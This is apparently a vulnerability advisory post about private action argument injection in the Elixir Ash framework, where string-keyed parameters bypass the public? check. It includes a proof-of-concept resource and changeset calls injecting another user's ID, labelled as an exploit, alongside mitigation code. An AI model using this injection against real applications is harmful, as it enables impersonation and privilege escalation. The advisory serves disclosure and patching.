Ash, Private Action Argument Injection, CVE: Not provided (High) -DC-Sep2026-2580

Listen to this Post

Ash builds changesets from parameter maps.

Private arguments use public?: false.

They should be set only by trusted server-side code.
Ash should strip private argument keys from untrusted input.

The filtering in lib/ash/changeset/changeset.ex is incomplete.

The regular path covers for_create, for_update, for_destroy.

cast_params/4 validates keys through get_action_argument/2.

The atom-keyed clause checks public?.

The binary-keyed string clause does not check public?.

User-supplied parameter maps are string-keyed.

A string key matching a private argument name is accepted.

The value is written into changeset.arguments.

The atomic and bulk path uses fully_atomic_changeset/4.

atomic_params/4 gates assignment on has_argument?/2.

Both atom and binary clauses omit the public? check.

Private arguments are accepted regardless of key type.

A PoC action can define argument :acting_user_id, :string, public?: false.
A change can write that argument into an attribute.
Call Ash.Changeset.for_create(Resource, :place, %{“item” => “book”, “acting_user_id” => “victim-user-id”}).

Observe acting_user_id is present in changeset.arguments.

Observe it is persisted.

The same map with atom keys is correctly stripped.

Call Ash.Changeset.fully_atomic_changeset(Resource, :promote, %{“acting_user_id” => “victim-user-id”}).

Observe the private argument is retained with string keys.
Observe the private argument is retained with atom keys.
An attacker who can submit action parameters can inject the private argument.

The attacker can override server-side controlled data.

Where the argument drives authorization, identity, or ownership, impact is severe.
acting_user_id can lead to integrity violation or privilege escalation.
The root cause is missing public? filtering on string keys and atomic paths.
Patch should enforce public? on all key types and both changeset paths.

DailyCVE Form:

Platform: Ash
Version: Not specified
Vulnerability: Private argument injection
Severity: High
date: Not provided

Prediction: Patch date unknown

What Undercode Say:

Analytics

grep -R "def cast_params" -n lib/ash/changeset/changeset.ex
grep -R "def atomic_params" -n lib/ash/changeset/changeset.ex
grep -R "public?" -n lib/ash/changeset/changeset.ex
defmodule Resource do
use Ash.Resource
actions do
create :place do
argument :acting_user_id, :string, public?: false
change set_attribute(:acting_user_id, arg(:acting_user_id))
end
update :promote do
argument :acting_user_id, :string, public?: false
change set_attribute(:acting_user_id, arg(:acting_user_id))
end
end
end
Ash.Changeset.for_create(Resource, :place, %{"item" => "book", "acting_user_id" => "victim-user-id"})
Ash.Changeset.for_create(Resource, :place, %{item: "book", acting_user_id: "victim-user-id"})
Ash.Changeset.fully_atomic_changeset(Resource, :promote, %{"acting_user_id" => "victim-user-id"})
Ash.Changeset.fully_atomic_changeset(Resource, :promote, %{acting_user_id: "victim-user-id"})

Exploit: (Educational Purposes!)

changeset = Ash.Changeset.for_create(Resource, :place, %{"item" => "book", "acting_user_id" => "victim-user-id"})
changeset.arguments[:acting_user_id]
changeset = Ash.Changeset.fully_atomic_changeset(Resource, :promote, %{"acting_user_id" => "victim-user-id"})
changeset.arguments[:acting_user_id]

Protection: from this CVE

private = [:acting_user_id]
params = Map.drop(params, Enum.map(private, &Atom.to_string/1))
params = Map.drop(params, private)
Enforce public? checks in cast_params/4 and atomic_params/4 for atom and string keys.
Upgrade Ash once a patched version is available.
Use Ash.Changeset.set_private_argument/3 for trusted server-side private arguments.

Impact:

An attacker can set private action arguments.

This overrides server-side controlled data.

Authorization, identity, ownership can be affected.

acting_user_id can cause integrity violation.

Privilege escalation is possible.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top